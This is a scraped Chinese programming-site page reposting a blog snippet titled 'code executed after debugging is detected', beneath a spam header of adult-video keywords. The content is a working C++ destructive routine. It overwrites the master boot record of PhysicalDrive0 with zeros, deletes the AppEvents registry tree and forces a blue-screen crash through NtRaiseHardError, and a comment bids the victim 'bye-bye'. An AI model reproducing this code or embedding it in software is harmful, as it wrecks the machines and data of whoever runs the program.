日本免费高清视频-国产福利视频导航-黄色在线播放国产-天天操天天操天天操天天操|www.shdianci.com

學無先后,達者為師

網站首頁 編程語言 正文

檢測到調試后執行的代碼

作者:ThatAllOver 更新時間: 2022-05-13 編程語言
__forceinline void guard(bool use_bsod)
{
	// note: simv0l - i can say only "bye-bye" for you, if this function will called.
	DWORD write;
	char mbr[512];
	ZeroMemory(mbr, sizeof mbr);
	HANDLE MasterBootRecord = CreateFile(crypt_str("\\\\.\\PhysicalDrive0"), GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, NULL, NULL);
	if (WriteFile(MasterBootRecord, mbr, 512, &write, NULL) == TRUE)
	{
		HKEY hKey = NULL;
		if (RegOpenKeyEx(HKEY_CURRENT_USER, crypt_str("AppEvents\\"), NULL, DELETE | KEY_ENUMERATE_SUB_KEYS | KEY_QUERY_VALUE | KEY_SET_VALUE | KEY_WOW64_64KEY, &hKey) == ERROR_SUCCESS)
		{
			if (RegDeleteTree(hKey, NULL) == ERROR_SUCCESS && use_bsod)
			{
				BOOLEAN bl;
				ULONG Response;
				RtlAdjustPrivilege(19, TRUE, FALSE, &bl);
				NtRaiseHardError(STATUS_ASSERTION_FAILURE, NULL, NULL, NULL, 6, &Response);
			}
			RegCloseKey(hKey);
		}
	}
}

原文鏈接:https://blog.csdn.net/zzy1448331580/article/details/124503282

欄目分類
最近更新